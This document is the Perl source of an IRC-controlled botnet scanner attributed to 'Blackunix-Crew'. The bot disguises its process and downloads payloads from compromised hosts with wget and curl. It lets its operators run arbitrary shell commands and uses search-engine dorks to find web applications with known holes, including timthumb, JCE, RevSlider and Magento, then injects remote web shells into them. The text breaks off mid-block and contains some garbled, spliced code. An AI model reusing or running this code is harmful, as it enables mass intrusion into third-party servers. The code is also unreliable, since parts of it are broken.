#!/usr/bin/perl
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use MIME::Base64;
use URI::Escape;
use Digest::MD5 qw(md5_hex);
use DBI;
my $datetime = localtime;
my $fakeproc = "/usr/sbin/httpd";
my $ircserver = "irc.blackunix.us";
my $number = int(rand(99));
my $ircport = "7000";
my $nickname = "Arhy-Scanner";
my $ident = "yes";
my $channel = "#Arhy";
my $chanxxx = "#Arhy";
my $admin = "Crusher";
my $fullname = "arhy-Bot";
my $rawmsg = $ARGV[4];
my $msgraw = $ARGV[5];
my $nob0dy = "4,1UnKnown ";
my $thumblogo = "0,1TIM ";
my $lfilogo = "4,1LFI ";
my $e107logo = "0,1E107 ";
my $rfilogo = "4,1rfi ";
my $mmfclogo = "0,1MMFC ";
my $zenlogo = "4,1ZEN ";
my $jcelogo = "0,1JCE ";
my $xmllogo = "4,1XML ";
my $cliplogo = "0,1CLIPBUCKET ";
my $redlogo = "4,1REDMYSTIC ";
my $whmlogo = "0,1WHMCS ";
my $livelogo = "4,1LIVECART ";
my $reflogo = "0,1REFLEX-GALLERY ";
my $oscologo = "4,1OSCOMMERCE ";
my $switchlogo = "0,1SWITCHBLADE ";
my $photologo = "4,1PHOTOSTORE ";
my $eleminlogo = "0,1ELEMIN ";
my $revlogo = "4,1(0,1@4,1RevSlider4,1)";
my $foliologo = "4,1BT-PORTFOLIO ";
my $rcilogo = "0,1RCI ";
my $uplogo = "4,1UP ";
my $jnewslogo = "0,1JNEWS ";
my $jinclogo = "4,1JINC ";
my $mglogo = "0,1MagEnto ";
my $mg2logo = "4,1(0,1@4,1MagMi4,1)";
my $oscologo = "4,1<4,1X4,1> 0,1OsCo 4,1<4,1X4,1>";
my $jdllogo = "15(7@2jDownLoads15)";
my $fablogo = "15(7@Com-Pabrik15)";
my $flelogo = "15[2@12Fx-Content15]";
my $jmulogo = "15[2@12JM-Media15]";
my $alplogo = "15[2@12AU-Points15]";
my $actlogo = "15[2@12AP-Content15]";
my $horlogo = "15[2@12Hornot215]";
my $osco2cmd = "!osc".$number."";
my $thumbcmd = "!tix";
my $lficmd = "!lfx";
my $e107cmd = "!e107x";
my $rficmd = "!rfix";
my $mmfccmd = "!mfcx";
my $zencmd = "!zen";
my $jcecmd = "!jcxx";
my $xmlcmd = "!xmlx";
my $clipcmd = "!clipx";
my $redcmd = "!redx";
my $whmcmd = "!whmx";
my $livecmd = "!livex";
my $refcmd = "!refx";
my $oscocmd = "!osx";
my $switchcmd = "!swx";
my $photocmd = "!phx";
my $elemincmd = "!elex";
my $revcmd = "!rev";
my $rescmd = "!res";
my $mgcmd = "!mag";
my $mg2cmd = "!mag2";
my $foliocmd = "!fox";
my $rcicmd = "!rxx";
my $upcmd = "!upx";
my $jnewscmd = "!jnewsx";
my $jinccmd = "!jincx";
my $jdlcmd = "!jdl";
my $fabcmd = "!fab";
my $flecmd = "!fle";
my $jmucmd = "!jmu";
my $alpcmd = "!alp";
my $actcmd = "!act";
my $horcmd = "!hor";
my $ftpcmd = "!ftpx";
my $timot = 10;
my $jembot = "images.php";
my $jembotx = "cpx.php";
#my $ngilang = "rm -rf";
qx($ngilang $0);
my $silentmode = 1;
my $hostinjector = "wordpress.com.advanced-tec.com";
my $thumbid = "http://".$hostinjector."/xp.php";
my $thumbidx = "http://".$hostinjector."/win7.php";
my $injectorrfi = "http://".$hostinjector."/id.txt";
my $botshellrfi = "http://".$hostinjector."/sad.txt";
my $botshellrfi2 = "http://".$hostinjector."/sadow.txt";
my $rceinjector = "http://203.89.187.238/brycegallery.co.nz//cache/id.txt";
my $bogel = "http://landhaus-schermer.at/test/php/4nt-crew.php";
my $fabfile = "http://www.puertascavero.com/videos/4nt-crew.php";
my $injector = "http://ezenmedia.net/.wp-user/ipays.txt";
my $backdoor = "http://milano2010.omat360.it/images/smilies/moi.jpg";
my $backdoor2 = "http://milano2010.omat360.it/images/smilies/moi.jpg";
my $botshell = "http://egystore.org/image/foto81.jpg";
my $botshell2 = "http://egystore.org/image/foto82.jpg";
my $botshell3 = "http://egystore.org/image/foto83.jpg";
my $subticket = "/submitticket.php?step=2&deptid=1";
my $md5php = md5_hex($thumbid).".php";
my $md5cps = md5_hex($thumbidx).".php";
my $timid = uri_escape($thumbid);
my $timidx = uri_escape($thumbidx);
my $action = "/data/shell.php";
my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php";
my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
sub randomagent {
my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
);
my $random = $array[rand @array];
return($random);
}
my $useragent = randomagent();
my $jpath = "?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jpath1 = "https%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jack1 = "http://www.panini.nl/lisse/wp-includes/arhy-website.php?q=";
my $jack2 = "http://prolocosanzenone.dev1.noonic.com/wp-includes/arhy-website.php?q=";
my $jack3 = "http://unipak.nl/wp-includes/arhy-website.php?q=";
my $jack4 = "http://mojadietaonline.pl/wp-includes/arhy-website.php?q=";
my $jack5 = "http://www.balum.com.co/sitemap/docss/arhy-website.php?q=";
my $jack6 = "http://www.hyattlatam.com/menph/holidays/en/arhy-website.php?q=";
my $jack7 = "http://partosazancnc.ir/wp-includes/arhy-website.php?q=";
my $jack8 = "http://8webdemo.in/herbalife/wp-includes/images/bypass302.php?q=";
my $jack9 = "http://www.naofanshe.cn/wp-includes/arhy-website.php?q=";
my $jack10 = "http://sabia.com.au/wp-includes/images/bypass302.php?q=";
my $engine = "GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,BaiDu,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,gibla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz";
my @jpaths = ('administrator/components/com_civicrm/civicrm/packages/OpenFlashChart','components/com_civicrm/civicrm/packages/OpenFlashChart','administrator/components/com_acymailing/inc/openflash','components/com_acymailing/inc/openflash','administrator/components/com_jnewsletter/includes/openflashchart','components/com_jnewsletter/includes/openflashchart','administrator/components/com_jinc/classes/graphics','components/com_jinc/classes/graphics','administrator/components/com_maian15/charts','components/com_maian15/charts','components/com_jnews/includes/openflashchart','administrator/components/com_jnews/includes/openflashchart');
my $jvuln = "/php-ofc-library/ofc_upload_image.php";
my $jshell = "/tmp-upload-images/magic.php";
my $inject = "barner]";
my $jcpanel = "/tmp-upload-images/magic.php.pHp";
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
chdir("/tmp/.ICE-unix/");
chop (my $priper = `wget http://pathwaysfinancial.biz/www.arhy.website/arhy.zip;wget http://pathwaysfinancial.biz/www.arhy.website/4nt-crew.zip;wget http://pathwaysfinancial.biz/www.arhy.website/revslider.zip;wget http://pathwaysfinancial.biz/www.arhy.website/showbiz.zip;wget http://axiomatech.com/wp-content/uploads/2014/www.arhy.website.txt -O www.arhy.website.php;wget http://www.danielquadros.com.br/magic.tgz;tar -zxvf magic.tgz;fetch http://www.danielquadros.com.br/magic.tgz;tar -zxvf magic.tgz;curl -O http://www.danielquadros.com.br/magic.tgz;tar -zxvf magic.tgz;rm -fr magic.tgz*;killall -9 sh;history -c`);
$ircserver = "$ARGV[0]" if $ARGV[0];
$ircport = "$ARGV[1]" if $ARGV[1];
$nickname = "$ARGV[2]" if $ARGV[2];
$channel = '#'."$ARGV[3]" if $ARGV[3];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep(1);}}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick = $4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick($mynick.int(rand(5)));
}
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("NickServ IDENTIFY petbot");
sendraw("MODE $mynick +R");
sendraw("MODE $mynick +Bx");
sendraw("NS id qwe123");
sleep(3);
sendraw("JOIN $channel");
sendraw("JOIN $chanxxx");
sleep(1);
sendraw("PRIVMSG $channel :4,1Scanner 0,1By 4,1Arhy 0,1Green 4,1Core!!!");
sendraw("PRIVMSG $admin :Hi $admin im here !!!");
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
select(undef, undef, undef, 0.01);
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $ircmsg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $ircmsg);
$ircmsg =~ s/\r\n$//;
if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
if ($path eq $mynick) {
if ($msg =~ /^PING (.*)/) {
sendraw("NOTICE $nick :PING $1");
}
if ($msg =~ /^VERSION/) {
sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
}
if ($msg =~ /^TIME/) {
sendraw("NOTICE $nick :TIME ".$datetime."");
}
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
sendraw("NICK ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
}
if (&isAdmin($nick) && $msg !~ /^!/) {
&shell("$nick","$msg");
}
if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
sendraw("$rawmsg $msgraw ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
sendraw("PRIVMSG $rawmsg ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
}
if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
$newtimot = $1;
$timot = $newtimot;
&msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
}
if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$newchan = $1;
$chanxxx = $newchan;
&msg("$admin","9,1 xChan change to4 $chanxxx ");
}}}
}
else {
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg eq "!partx") {
sendraw("PART $path");
}
if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$smod = $1;
if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
&msg("$path","4,1[4,1!4,1]0,1Silent 4,1Mode15 $silentstat !!!!");
}}}
##################################################################### HELP COMMAND
if ($msg=~ /^!help/) {
my $helplogo = "4,1HELP ";dsu
&msg("$path","4,1Ketika Sahabat Menjadi Bangsat ");
&msg("$path","$helplogo4,1TIM Vuln Scan:0,1 $thumbcmd 4,1[bug] 0,1[dork] ");
&msg("$path","$helplogo4,1rfi Vuln Scan:0,1 $rficmd 4,1[dork] ");
&msg("$path","$helplogo4,1OSCOMMERCE Vuln Scan:0,1 $oscocmd 4,1[dork] ");
&msg("$path","$helplogo4,1E107 Vuln Scan:0,1 $e107cmd 4,1[dork] ");
&msg("$path","$helplogo4,1MMFC Vuln Scan:0,1 $mmfccmd 4,1[dork] ");
&msg("$path","$helplogo4,1ZEN Vuln Scan:0,1 $zencmd 4,1[dork] ");
&msg("$path","$helplogo4,1JCE Vuln Scan:0,1 $jcecmd 4,1[dork] ");
&msg("$path","$helplogo4,1XML Vuln Scan:0,1 $xmlcmd 4,1[bug] [dork] ");
&msg("$path","$helplogo4,1CLIPBUCKET Vuln Scan:0,1 $clipcmd 4,1[dork] ");
&msg("$path","$helplogo4,1REDMYSTIC Vuln Scan:0,1 $redcmd 4,1[dork] ");
&msg("$path","$helplogo4,1LIVECART Vuln Scan:0,1 $livecmd 4,1[dork] ");
&msg("$path","$helplogo4,1REFLEX-GALLERY Vuln Scan:0,1 $refcmd 4,1[dork] ");
&msg("$path","$helplogo4,1PHOTOSTORE Vuln Scan:0,1 $photocmd 4,1[dork] ");
&msg("$path","$helplogo4,1SWITCHBLADE Vuln Scan:0,1 $switchcmd 4,1[dork] ");
&msg("$path","$helplogo4,1ELEMIN Vuln Scan:0,1 $elemincmd 4,1[dork] ");
&msg("$path","$helplogo4,1RevSlider FTP Vuln Scan:0,1 $revcmd 4,1[dork] ");
&msg("$path","$helplogo4,1RevSlider Uploader Vuln Scan:0,1 $rescmd 4,1[dork] ");
&msg("$path","$helplogo4,1BT-PORTFOLIO Vuln Scan:0,1 $foliocmd 4,1[dork] ");
&msg("$path","$helplogo4,1RCI Vuln Scan:0,1 $rcicmd 4,1[dork] ");
&msg("$path","$helplogo4,1UPLOADIFY Vuln Scan:0,1 $upcmd 4,1[dork] ");
&msg("$path","$helplogo4,1JNEWS Vuln Scan:0,1 $jnewscmd 4,1[dork] ");
&msg("$path","$helplogo4,1JINC Vuln Scan:0,1 $jinccmd 4,1[dork] ");
&msg("$path","$helplogo4,1Magento Vuln Scan:0,1 $mgcmd 4,1[dork] ");
&msg("$path","$helplogo4,1Magento Magmi Scan:0,1 $mg2cmd 4,1[dork] ");
&msg("$path","$helplogo4,1Jdownloads Scan:0,1 $jdlcmd 4,1[dork] ");
&msg("$path","$helplogo4,1Com Pabrik:0,1 $fabcmd 4,1[dork] ");
&msg("$path","$helplogo4,1hornot Vuln Scan:0,1 $horcmd 4,1[dork] ");
&msg("$path","$helplogo4,1com_alphacontent Scan:0,1 $actcmd 4,1[dork] ");
&msg("$path","$helplogo4,1com_alphauserpoints:0,1 $alpcmd 4,1[dork] ");
&msg("$path","$helplogo4,1com_jmultimedia:0,1 $jmucmd 4,1[dork] ");
&msg("$path","$helplogo4,1com_flexicontent:0,1 $flecmd 4,1[dork] ");
&msg("$path","4,1We Are 0,1 Blackunix-Crew ");
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
&msg("$nick","4,1Fake Process/PID : $fakeproc - $$");
}
if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
$inject1 = "";
$inject2 = "";
my $cekby1 = &get_content($rceinjector);
my $cekby2 = &get_content($thumbid);
if ($cekby1 =~ m/new;
$useragent->timeout(5);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/Your IP address is(.*)
City:(.*)
Country:(.*)
Continent:(.*)
Time/g) {
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
&msg("$path","4,1IP4IP Address :0,1 ".$ip." 4,1[".$ipaddress."]");
&msg("$path","4,1IP4City :0,1 ".$ip." 4,1[".$city."]");
&msg("$path","4,1IP4Country :0,1 ".$ip." 4,1[".$country."]");
&msg("$path","4,1IP4Continent :0,1 ".$ip." 4,1[".$continent."]");
}
else {
&msg("$path","4,1IP0,1".$ip." 4,1not found in database");
}
}
else {
&msg("$path","4,1IP0,1Cannot open IP database.");
}
}
exit;
}
}
if (&isAdmin($nick) && $msg=~ /^!dns\s+(.*)/){
my $nsku = $1;
$mydns = inet_ntoa(inet_aton($nsku));
&msg("$path", "4,1DNS0,1 $nsku 12Resolved to 4 $mydns");
}
if (&isAdmin($nick) && $msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
my $hostip= "$1";
my $portsc= "$2";
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
if ($scansock) {
&msg("$path","4,1PORT0,1 $hostip :4,1 $portsc 0,1Successful !");
}
else {
&msg("$path","4,1PORT0,1 $hostip :4,1 $portsc 0,1Failed !");
}
}
if (&isAdmin($nick) && $msg eq "!bypass") {
my $bystats1 = "";
my $bystats2 = "";
my $bystats3 = "";
my $bystats4 = "";
my $bystats5 = "";
my $bystats6 = "";
my $bystats7 = "";
my $bystats8 = "";
my $bystats9 = "";
my $bystats10 = "";
my $bystats11 = "";
my $bystats12 = "";
my $bystats13 = "";
my $cekby1 = &get_content($jack1."search");
my $cekby2 = &get_content($jack2."search");
my $cekby3 = &get_content($jack3."search");
my $cekby4 = &get_content($jack4."search");
my $cekby5 = &get_content($jack5."search");
my $cekby6 = &get_content($jack6."search");
my $cekby7 = &get_content($jack7."search");
my $cekby8 = &get_content($jack8."search");
my $cekby9 = &get_content($jack9."search");
my $cekby10 = &get_content($jack10."search");
my $cekby11 = &get_content($jack11."search");
my $cekby12 = &get_content($jack12."search");
my $cekby13 = &get_content($jack13."search");
if ($cekby1 =~ /search/i){ $bystats1 = "4,1Up!"; } else { $bystats1 = "0,1Lost!"; }
if ($cekby2 =~ /search/i){ $bystats2 = "4,1Up!"; } else { $bystats2 = "0,1Lost!"; }
if ($cekby3 =~ /search/i){ $bystats3 = "4,1Up!"; } else { $bystats3 = "0,1Lost!"; }
if ($cekby4 =~ /search/i){ $bystats4 = "4,1Up!"; } else { $bystats4 = "0,1Lost!"; }
if ($cekby5 =~ /search/i){ $bystats5 = "4,1Up!"; } else { $bystats5 = "0,1Lost!"; }
if ($cekby6 =~ /search/i){ $bystats6 = "4,1Up!"; } else { $bystats6 = "0,1Lost!"; }
if ($cekby7 =~ /search/i){ $bystats7 = "4,1Up!"; } else { $bystats7 = "0,1Lost!"; }
if ($cekby8 =~ /search/i){ $bystats8 = "4,1Up!"; } else { $bystats8 = "0,1Lost!"; }
if ($cekby9 =~ /search/i){ $bystats9 = "4,1Up!"; } else { $bystats9 = "0,1Lost!"; }
if ($cekby10 =~ /search/i){ $bystats10 = "4,1Up!"; } else { $bystats10 = "0,1Lost!"; }
if ($cekby11 =~ /search/i){ $bystats11 = "4,1Up!"; } else { $bystats11 = "0,1Lost!"; }
if ($cekby12 =~ /search/i){ $bystats12 = "4,1Up!"; } else { $bystats12 = "0,1Lost!"; }
if ($cekby13 =~ /search/i){ $bystats13 = "4,1Up!"; } else { $bystats13 = "0,1Lost!"; }
my $bypasslogo = "4,1bypass";sleep(3);
&msg("$path","$bypasslogo Checker ");
&msg("$path","$bypasslogo 1 ==> $bystats1");
&msg("$path","$bypasslogo 2 ==> $bystats2");
&msg("$path","$bypasslogo 3 ==> $bystats3");
&msg("$path","$bypasslogo 4 ==> $bystats4");
&msg("$path","$bypasslogo 5 ==> $bystats5");
&msg("$path","$bypasslogo 6 ==> $bystats6");
&msg("$path","$bypasslogo 7 ==> $bystats7");
&msg("$path","$bypasslogo 8 ==> $bystats8");
&msg("$path","$bypasslogo 9 ==> $bystats9");
&msg("$path","$bypasslogo 10 ==> $bystats10");
}
##################################################################### SCAN
if ($msg =~ /!cari\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $find = $1;
&msg($path,"$carilogo4,1 Searching 0,1$find ");
&cari($path,$find);
} exit; }
}
if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ($1,$2);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","14scanning timthumb started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,1,$nick);
}
}
}
}
if (&isAdmin($nick) && $msg =~ /^$e107cmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("contact.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning e107 started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,3,$nick);
}
}
}
}
if (&isAdmin($nick) && $msg =~ /^$zencmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("extras/curltest.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning zen cart started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,6,$nick);
}
}
}
}
if ($msg =~ /^$jcecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4$path ");
&msg("$path","4,1scanning jce started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,7,$nick);
}
}
}
}
if ($msg =~ /^$flecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/components/com_flexicontent/librairies/phpthumb/phpThumb.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$flelogo3 $nick, 4Dont try re-scan dork "); exit;
} else {
&msg("$path","$flelogo 12Dork7 :4 $dork ");
&msg("$path","$flelogo 6Search Engine Loading ...");
&se_start($path,$bug,$dork,$engine,30,$nick);
&write_dorks($dork);
}
}
}
}
##############################################################################################
if ($msg =~ /^$jmucmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/components/com_jmultimedia/assets/thumbs/phpthumb/phpThumb.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$jmulogo3 $nick, 4Dont try re-scan dork "); exit;
} else {
&msg("$path","$jmulogo 12Dork7 :4 $dork ");
&msg("$path","$jmulogo 6Search Engine Loading ...");
&se_start($path,$bug,$dork,$engine,31,$nick);
&write_dorks($dork);
}
}
}
}
##############################################################################################
if ($msg =~ /^$alpcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
